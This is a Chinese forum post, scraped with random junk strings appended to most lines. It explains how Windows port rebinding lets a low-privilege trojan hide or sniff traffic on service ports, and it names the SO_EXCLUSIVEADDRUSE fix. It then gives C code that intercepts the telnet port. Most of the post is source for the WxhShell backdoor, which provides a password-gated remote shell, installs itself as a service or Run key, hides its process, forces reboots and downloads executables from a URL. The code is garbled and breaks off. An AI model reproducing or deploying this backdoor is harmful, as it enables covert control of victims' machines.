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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5}hQIO&^%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qzxWv5UH  
5A`>3w{3n  
  saddr.sin_family = AF_INET; 0Sd>*nC  
w}l^B>Zz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p1niS:}j  
e_epuki  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j:1N&7<FU  
02;'"EmP$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YX,;z/Jw2  
seK;TQ3/7  
  这意味着什么?意味着可以进行如下的攻击: 33lh~+C  
u->[ y1JY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Uz_ob9l<#H  
D.{vuftu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ==?wG!v2h  
HLDv{G'7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \[{8E}_"^  
;} Lf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 ,MM`:{{  
yO7H!}y_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :!Q(v(M  
JJ)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4K:Aqqhds  
Cj~e` VRhk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F~eYPaEKy!  
>Vq07R  
  #include U9`Co&Z2  
  #include 4uO88[=  
  #include >qy62:co  
  #include    ]Whv%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TxQsi"0c  
  int main() SHPDbBS  
  { d1g7:s9$0  
  WORD wVersionRequested; (G+)v[f  
  DWORD ret; a] c03$fK  
  WSADATA wsaData; ,/p+#|>C=  
  BOOL val; Y54yojvV  
  SOCKADDR_IN saddr; $> QJ%v9+  
  SOCKADDR_IN scaddr; Hfj.8$   
  int err; nt>3i! l  
  SOCKET s; -2}ons(  
  SOCKET sc; y{(Dv}   
  int caddsize; bvB7d` wx  
  HANDLE mt; C~>0K,C0^  
  DWORD tid;   Adiw@q1&  
  wVersionRequested = MAKEWORD( 2, 2 ); |qQ6>IZ  
  err = WSAStartup( wVersionRequested, &wsaData ); '@KH@~OzRS  
  if ( err != 0 ) { Dj=$Q44  
  printf("error!WSAStartup failed!\n"); 3'L =S  
  return -1; :dipk,b?n  
  } qm_r~j  
  saddr.sin_family = AF_INET; zp9lu B  
   Jb> X$|N'%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xbx=h^S  
Y]6d Yq{k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cCiDe`T\F  
  saddr.sin_port = htons(23); `*Wg&u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RRy D<7s1  
  { mnZfk  
  printf("error!socket failed!\n"); %F150$(D  
  return -1; \>oy2{=;'  
  } t;3).F  
  val = TRUE; +}udIi3:l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T"H"m4{'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "\+\,C  
  { N\]-/$z  
  printf("error!setsockopt failed!\n"); 3dZj<(.  
  return -1; <6.`(isph  
  } X^&--@l}T!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f\$_^dV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cY!Pv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EFtn !T  
3hJ51=_0^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M7Xn=jc  
  { b~<V}tJ  
  ret=GetLastError(); zI ^:{]p  
  printf("error!bind failed!\n"); WaX!y$/z  
  return -1; Dby|l#X  
  } dlZ2iDQ%  
  listen(s,2); Ed0}$ b  
  while(1) ]!"7k_  
  { j7I?K :op=  
  caddsize = sizeof(scaddr); 8]#J_|A6Z  
  //接受连接请求 =s.0 f:(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #$U/*~m $  
  if(sc!=INVALID_SOCKET) k&[6Ld0~56  
  { Rc9>^>w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1)97AkN(O  
  if(mt==NULL) a|]deJU^  
  { ?)<zzL",  
  printf("Thread Creat Failed!\n"); op-\|<i  
  break; _'y`hKeI[  
  } ^"iL|3d  
  } R$dNdd9m  
  CloseHandle(mt); *e:I*L  
  } ntPX?/  
  closesocket(s); N2j^fZd_  
  WSACleanup(); +>yh` Zb  
  return 0; yoieWnL}  
  }   ~A%+oa*2~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?c"i V  
  { M|@@ LJ'  
  SOCKET ss = (SOCKET)lpParam; ] NW_oRH  
  SOCKET sc; -~J5aG[@~>  
  unsigned char buf[4096]; )B+zv,#q  
  SOCKADDR_IN saddr; * _usVg  
  long num; x<w-j[{k_K  
  DWORD val; 6e.l# c!1}  
  DWORD ret; l*CCnqE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h{\S'8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hfc~HKLC  
  saddr.sin_family = AF_INET; >^,?0HP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gCRPaF6  
  saddr.sin_port = htons(23); i;qij[W.z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u+6L>7t88I  
  { 5mL4Zq"  
  printf("error!socket failed!\n"); *(wxNsK  
  return -1; Ue`Y>T7+!  
  } &+hk5?c /  
  val = 100; F4V) 0)G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +_*iF5\  
  { G|t0no\f  
  ret = GetLastError(); H<nA*Zf2@R  
  return -1; XN\rq=  
  } #Rs5W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ei}(jlQp  
  { q JtLJ<=1  
  ret = GetLastError(); 2"}Vfy  
  return -1; !lZ}kz0  
  } 5~[][VV^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F]N?_ bo  
  { 5V/]7>b1  
  printf("error!socket connect failed!\n"); F_/ra?WVH  
  closesocket(sc); 9@Cu5U]  
  closesocket(ss); eQ[}ALIq  
  return -1; P,G :9x"e  
  } 5w~J"P6jg  
  while(1) y^Q);siSy  
  { sUiO~<Ozpk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aehB,l0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _T805<aUW\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K,PN:  
  num = recv(ss,buf,4096,0); oRg ,oy  
  if(num>0) y>T>  
  send(sc,buf,num,0); s`v$r,N0  
  else if(num==0) Tgla_sMb  
  break; M U '-  
  num = recv(sc,buf,4096,0); {od@S l  
  if(num>0) QWt3KW8)  
  send(ss,buf,num,0); pnL[FMc  
  else if(num==0) Ll#W:~  
  break; rAqS;@]0  
  } xd"+ &YT  
  closesocket(ss); u2fp~.'P  
  closesocket(sc); L0{ [L  
  return 0 ; nLANWQk9  
  } w|0:0Rc~u  
/Q89y[  
Q TN24 q4  
========================================================== [P}mDX  
7&]|c?([4  
下边附上一个代码,,WXhSHELL S {+Z.P  
v<(+ l)Ln  
========================================================== $|[N3  
k#/cdK!K  
#include "stdafx.h" #2Vq"Zn  
:}#j-ZCC"  
#include <stdio.h> xDS]k]/(T  
#include <string.h> Z@*!0~NH=4  
#include <windows.h> *<"{(sAvk  
#include <winsock2.h> tef>Py  
#include <winsvc.h> D=.Ob<m`Z  
#include <urlmon.h> k f|J  
;v.J D7  
#pragma comment (lib, "Ws2_32.lib") r%$\Na''  
#pragma comment (lib, "urlmon.lib") {(t R<z)  
/9Qr1@&v  
#define MAX_USER   100 // 最大客户端连接数 COBjJ3  
#define BUF_SOCK   200 // sock buffer Oc.8d<  
#define KEY_BUFF   255 // 输入 buffer \;Q!}_ K  
6rCUq  
#define REBOOT     0   // 重启 ) jM-5}"  
#define SHUTDOWN   1   // 关机 6iHY{WcDj  
.*W7Z8!e  
#define DEF_PORT   5000 // 监听端口 Cy5iEI#  
J!3;\  
#define REG_LEN     16   // 注册表键长度 hl)jE 06  
#define SVC_LEN     80   // NT服务名长度 uc]5p(9Hb  
_[l&{,  
// 从dll定义API Z>X]'q03  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uz20pun4B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z_A\\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bTAY5\wB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,C_MB1u  
,K30.E  
// wxhshell配置信息 w?M"`O(  
struct WSCFG { &5B/>ag1!  
  int ws_port;         // 监听端口 2FO<Z %Y  
  char ws_passstr[REG_LEN]; // 口令  (wxi!  
  int ws_autoins;       // 安装标记, 1=yes 0=no n!Y}D:6c6  
  char ws_regname[REG_LEN]; // 注册表键名 _~P &8  
  char ws_svcname[REG_LEN]; // 服务名 hKnV=Ha(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <QaUq `,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mjk<FXW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RjrQDh|((  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ip*^eS^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4/ q BD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y~#F\v  
;'[?H0Jw'  
}; `JGW8 _  
%t74*cX  
// default Wxhshell configuration #~qza ETv,  
struct WSCFG wscfg={DEF_PORT, fwUF5Y  
    "xuhuanlingzhe", Zz 'g&ewo  
    1, `/i/AZ{  
    "Wxhshell", WOeLn[  
    "Wxhshell", 1L?W+zMO  
            "WxhShell Service", 8A-*MU`+  
    "Wrsky Windows CmdShell Service", v v5rA 6+  
    "Please Input Your Password: ", J^PFhu  
  1, o,0 Z^"|  
  "http://www.wrsky.com/wxhshell.exe", _oefp*iWS  
  "Wxhshell.exe" 7,uD7R_  
    }; *UG?I|l|I  
$kkL)O*"]  
// 消息定义模块 lKqFuLHwF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4 &:|h  1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?hURNlR_Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *7L1SjZw  
char *msg_ws_ext="\n\rExit."; G"Ey%Q2K  
char *msg_ws_end="\n\rQuit."; ]xJ. OUJy  
char *msg_ws_boot="\n\rReboot..."; /,$V/q+  
char *msg_ws_poff="\n\rShutdown..."; +<B"g{dLuX  
char *msg_ws_down="\n\rSave to "; 4((p?jb C  
:gRVa=}=  
char *msg_ws_err="\n\rErr!"; N\?__WlBK7  
char *msg_ws_ok="\n\rOK!"; 0Xn,q]@Z  
{CTJX2&  
char ExeFile[MAX_PATH]; ^bdXzjf  
int nUser = 0; i`iR7UmHeR  
HANDLE handles[MAX_USER]; q,;wD1_wG  
int OsIsNt; |}X[Yg=FG  
;.R) uCd{=  
SERVICE_STATUS       serviceStatus; WK#%G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9gIim   
SFFJyRCz  
// 函数声明 E4_,EeC#  
int Install(void); L(1} PZ  
int Uninstall(void); K]dR%j  
int DownloadFile(char *sURL, SOCKET wsh); M@*Y&(~  
int Boot(int flag); z|(<Co8#.  
void HideProc(void); K;w]sN+I  
int GetOsVer(void); N+pCC  
int Wxhshell(SOCKET wsl); g$/7km{TP  
void TalkWithClient(void *cs); pRjrMS  
int CmdShell(SOCKET sock); <w?k<%( 4  
int StartFromService(void); 2l:cP2fa  
int StartWxhshell(LPSTR lpCmdLine); 6UqDpL7^U  
cveQ6 -`K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *Aug7 HlS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l=$?#^^ /  
Wk!<P" nHd  
// 数据结构和表定义 Qz$nWsD  
SERVICE_TABLE_ENTRY DispatchTable[] = |BD2=7,z  
{ Y^8'P /A  
{wscfg.ws_svcname, NTServiceMain}, WU,b<PU &  
{NULL, NULL} axN\ZXU  
}; C!6D /S  
8;f5;7M n  
// 自我安装 'S&Zq:  
int Install(void) (W[]}k ;  
{ Fp]ErDan  
  char svExeFile[MAX_PATH]; WHU l.h  
  HKEY key; <R%TCVwC@  
  strcpy(svExeFile,ExeFile); it-2]Nw  
i]qxF&1  
// 如果是win9x系统,修改注册表设为自启动  ]4K4Nh~  
if(!OsIsNt) { sx'eu;S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s |o(~2j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g!cW`B'  
  RegCloseKey(key); nm %7e!{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )gAqWbkB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  &!wtH  
  RegCloseKey(key); KUHkjA_  
  return 0; wk1/&  
    } 3'SN0VL  
  } _|;{{8*?  
} # 00?]6`z  
else {  <$K7f  
7[0CVWs,  
// 如果是NT以上系统,安装为系统服务 i4M%{]G3Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J(P'!#z^  
if (schSCManager!=0) J?hs\nA  
{ TS=U%)Ik  
  SC_HANDLE schService = CreateService 4Bt)t#0  
  ( }2Y`Lr  
  schSCManager, ,8!'jE[d  
  wscfg.ws_svcname, 10N0?K"  
  wscfg.ws_svcdisp, `-?`H>+OG  
  SERVICE_ALL_ACCESS, ]a[2QQ+g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ua~8DdW  
  SERVICE_AUTO_START, :dxKcg7  
  SERVICE_ERROR_NORMAL, lfr^NxOU  
  svExeFile, q &S@\b  
  NULL, 19%zcYTe  
  NULL, 8~BLTZ  
  NULL, Il#ST  
  NULL, g(G$*#}o8A  
  NULL 5s>>] .%  
  ); Zt9ld=T  
  if (schService!=0) XQtV$Lw  
  { QcjsQTAbk  
  CloseServiceHandle(schService);  w U1[/  
  CloseServiceHandle(schSCManager); c}H}fyu%n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @twi<U_  
  strcat(svExeFile,wscfg.ws_svcname); u('`.dwkc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { en6;I[\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aa dw#90  
  RegCloseKey(key); J5z\e@?.0\  
  return 0; >X=VPh8  
    } vZ^U]h V  
  } 7 ;2>kgf~  
  CloseServiceHandle(schSCManager); $6 4{Ff  
} m8+ EMBl  
} }?HWUAL\  
A-rj: k!  
return 1; ,-DU)&dF  
} !\'HKk~V  
/-(OJN5F^  
// 自我卸载 vN~joQ=d  
int Uninstall(void) vJsg6oH  
{ 9hJ a K  
  HKEY key; ZkNet>9  
4ti,R'  
if(!OsIsNt) { U r8JG&,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,|j\x  
  RegDeleteValue(key,wscfg.ws_regname); z.OJ1vY7  
  RegCloseKey(key); ?JW/Stua  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0n={Mb  
  RegDeleteValue(key,wscfg.ws_regname); 90ov[|MkM  
  RegCloseKey(key); kv2 H3O  
  return 0; bw!*=<  
  } `(6cRT`Wp  
} ~B7<Yg  
} VZ7E#z+nM#  
else { 0_=^#r4Mu  
}1Q> A 5e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4H{$zMq8  
if (schSCManager!=0) ;q#Pl!*5  
{ GgE 38~A4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j(M.7Z7^  
  if (schService!=0) Bw9O)++  
  { Xo6zeLHO  
  if(DeleteService(schService)!=0) { -U\s.FI.AR  
  CloseServiceHandle(schService); $+,kibk*R  
  CloseServiceHandle(schSCManager); +6n\5+5  
  return 0; iP1yy5T  
  } H29vuGQjq  
  CloseServiceHandle(schService); 6_:KFqc W  
  } [+!+Yn6:  
  CloseServiceHandle(schSCManager); Digx#'#jf  
}  RcZ&/MY  
} vYq"W%  
kovJ9  
return 1; .&h|r>*|J  
} E `V?Io  
aY DM)b}  
// 从指定url下载文件 =4OV }z=I  
int DownloadFile(char *sURL, SOCKET wsh) }C$D-fH8sW  
{ nj-LG!"a  
  HRESULT hr; 1KjzKFnb  
char seps[]= "/"; tg9{(_ t/W  
char *token; Zq:c2/\c}  
char *file; lg{M\ +  
char myURL[MAX_PATH]; u)%/df qzZ  
char myFILE[MAX_PATH]; R~;8v1>K  
7&(h_}Z  
strcpy(myURL,sURL); tqL2' (=  
  token=strtok(myURL,seps); 6H;\Jt  
  while(token!=NULL) }*vE/W  
  { +,)Iv_Xl$  
    file=token; JZJb&q){  
  token=strtok(NULL,seps); BHU=TK@GR  
  } '<O.J(N~4!  
162Dj$  
GetCurrentDirectory(MAX_PATH,myFILE); &G?w*w_n  
strcat(myFILE, "\\"); 3PkU>+.6  
strcat(myFILE, file); 08g2? 5w"  
  send(wsh,myFILE,strlen(myFILE),0); =%B}8$.|  
send(wsh,"...",3,0); at\$ IK_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); urQ<r{$x0  
  if(hr==S_OK) z+^9)wg9  
return 0; &egP3  
else <X?xr f  
return 1; CX ; m8  
H;+98AIy`  
} 48{B}j%oU  
5fLp?`T  
// 系统电源模块 n' 1LNi  
int Boot(int flag) c2]h.G83  
{ S$a.8Xh  
  HANDLE hToken; 4y $okn\}i  
  TOKEN_PRIVILEGES tkp; TxTxyYd  
5D mSgP:  
  if(OsIsNt) { cs4IO O$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }|j#C[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vorb?iVf>  
    tkp.PrivilegeCount = 1; bzZ7L-yD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y`cL3 xr4R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MFipXE!  
if(flag==REBOOT) { H)Z$j&S{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?Iag-g9#=m  
  return 0; j#YVv c%  
} V}JBv$+ko  
else { PeSTUR&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vw`%|x"Xz  
  return 0; th5UzpB4  
} Dj3,SJ*x  
  } Rk{vz|  
  else { >xXq:4l>}  
if(flag==REBOOT) { 9j5B(_J^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _P%PjFQ)  
  return 0;  \7e4t  
} KYq<n& s  
else { 0;%\L:,O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ; NO#/  
  return 0; H)rJ >L  
} :]LW,Eql  
} HaF&ooI5+  
!lp7}[k<y  
return 1; q35=_'\W  
} g<:TsP'|  
N1U.1~U  
// win9x进程隐藏模块 'Hu+8,xA  
void HideProc(void) %Siw>  
{ d-gcXaA-8  
SUL\|z`5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oq (W|  
  if ( hKernel != NULL ) nd5.Py$  
  { 2\F'So  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sBNqg~HwB?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }T53y6J#  
    FreeLibrary(hKernel); <d{>[R)  
  } ZR8y9mx2"  
V-"#Kf9  
return; !.O;SG  
} SXV2Y-  
<irr .O  
// 获取操作系统版本 s,M]f,T  
int GetOsVer(void) 8/~@3-9EK  
{ ?}C8_I|4~  
  OSVERSIONINFO winfo; GxE`z6%[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q^L"@Q5;  
  GetVersionEx(&winfo); o ,8;=f,7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BM87f:d  
  return 1; Xod/GY G  
  else -@~4:o  
  return 0; ,<TJh[TzC6  
} #.LI `nYA  
Ol;"}3*Z*  
// 客户端句柄模块 X& XD2o"rt  
int Wxhshell(SOCKET wsl) B~ j3!?  
{ gU?M/i2  
  SOCKET wsh; tnq Zl S  
  struct sockaddr_in client; #=Whh 9-d  
  DWORD myID; =n;LP#(h?  
$4]4G=o  
  while(nUser<MAX_USER) xg;F};}5$  
{ <B+ WM  
  int nSize=sizeof(client); ;U?323Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rgEN~e'  
  if(wsh==INVALID_SOCKET) return 1; -JclEp  
uY3?(f#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sjHcq5#U!  
if(handles[nUser]==0) Q0L1!}w   
  closesocket(wsh); R,-DP/ (im  
else <4I`|D3@  
  nUser++; E:P_CDSd]  
  } UUvR>5@n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k7 Ne(4P  
6hHMxS^o  
  return 0; ^vI`#}?  
} O1oh,~W  
t*-_MG  
// 关闭 socket 5K =>x<  
void CloseIt(SOCKET wsh) #z c$cr  
{ ]hbrzv o  
closesocket(wsh); i1Y<[s  
nUser--;  o%$R`;  
ExitThread(0); p`'3Il3  
} )0=H)k0  
]zI*}(adu  
// 客户端请求句柄 ;NGSJfn  
void TalkWithClient(void *cs) :GM3n$  
{ $wk(4W8E  
R l)g[s  
  SOCKET wsh=(SOCKET)cs; Zb+n\sv4  
  char pwd[SVC_LEN]; IYhn*  
  char cmd[KEY_BUFF]; ^[q/w<_j~  
char chr[1]; 1W7ClT_cQ  
int i,j; "_\77cqpTh  
[6nN]U~Y  
  while (nUser < MAX_USER) { \WZSY||C|_  
&B$%|~Y5  
if(wscfg.ws_passstr) { d 0:;IUG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0aYoc-( A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e )]  
  //ZeroMemory(pwd,KEY_BUFF); WKq{g+a  
      i=0; ^KQZ;[B  
  while(i<SVC_LEN) { :=K+~?  
gbu)bqu2x  
  // 设置超时 z/pxZ B ~"  
  fd_set FdRead; 0 R>!jw  
  struct timeval TimeOut; O#)YbaE  
  FD_ZERO(&FdRead); .gCun_td#  
  FD_SET(wsh,&FdRead); hh-sm8  
  TimeOut.tv_sec=8; 'Ojxzz*tT  
  TimeOut.tv_usec=0; | 8akp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iz!]LW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g,f AV M  
w1+ %+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &InFC5A  
  pwd=chr[0]; gbFHH,@  
  if(chr[0]==0xd || chr[0]==0xa) { L(HAAqRnJ  
  pwd=0; +y 48.5  
  break; mS+sh'VH  
  } ZD<e$PxxCd  
  i++; O 2+taB  
    } 3WPZZN<K9  
/WIH#M  
  // 如果是非法用户,关闭 socket t1!>EI`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kU{a!ca4  
} `_3 Gb  
?4_ME3$t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t*Z4&Sy^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .F0Q< s9  
h<g2aL21?F  
while(1) { %D`j3cEp@  
n_6#Df*  
  ZeroMemory(cmd,KEY_BUFF); 7_L$XIa  
t~Q j$:\  
      // 自动支持客户端 telnet标准   -CTLQyj)  
  j=0; a *nCvZ  
  while(j<KEY_BUFF) { _DYe<f.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pt/F$A{Cj  
  cmd[j]=chr[0]; b\UE+\a&  
  if(chr[0]==0xa || chr[0]==0xd) { )vGxF}I3  
  cmd[j]=0; O*>`md?MH  
  break; perhR!#J  
  } 9e;:(jl^  
  j++; p R ! m  
    } w$jSlgUHy)  
:bq UA(k  
  // 下载文件 "XU)(<p  
  if(strstr(cmd,"http://")) { U(hIT9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Q=S`z=  
  if(DownloadFile(cmd,wsh)) ^g"%:4zO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZSLvr-,D  
  else *EFuK8 ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ou/ Fn  
  } e1ExB#  
  else { $NBQv6#:  
~pwk[Q!  
    switch(cmd[0]) { /Nhc|x6zQ  
  *b"aJ<+  
  // 帮助 NOl/y@#  
  case '?': { E=ObfN"ge  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "!:)qVL^  
    break; tV2o9!N4  
  } /#[mV(k  
  // 安装 NZ% v{?  
  case 'i': { b{.Y?.U  
    if(Install()) KB gFS%-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|${2u`$&y  
    else =0>[-:Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=S)O.*R  
    break; EfX,0NqT  
    } cEK#5   
  // 卸载 P9M%B2DQ6f  
  case 'r': { *,,:;F^  
    if(Uninstall()) hcR^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5m?9O7Pg  
    else !14l[k+\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ">q?(i\  
    break; % "^CrG  
    } O{EbL5p  
  // 显示 wxhshell 所在路径 /{-J_+u*%  
  case 'p': { -`PLewvX  
    char svExeFile[MAX_PATH]; !y3XIbdS"  
    strcpy(svExeFile,"\n\r"); 3o#K8EL  
      strcat(svExeFile,ExeFile); eyos6Qi  
        send(wsh,svExeFile,strlen(svExeFile),0); 72= 4#  
    break; %Ybr5$_  
    } cea e~  
  // 重启 n]3Z~HoZ  
  case 'b': { :#=B wdC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m[hHaX  
    if(Boot(REBOOT)) Q}1qt4xy*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#r=  
    else { 'K|F{K  
    closesocket(wsh); SfPtG  
    ExitThread(0); Gyc _B  
    } <,J O  
    break; u`pw'3hY  
    } [+qB^6I+P%  
  // 关机 l=47#zbpZ]  
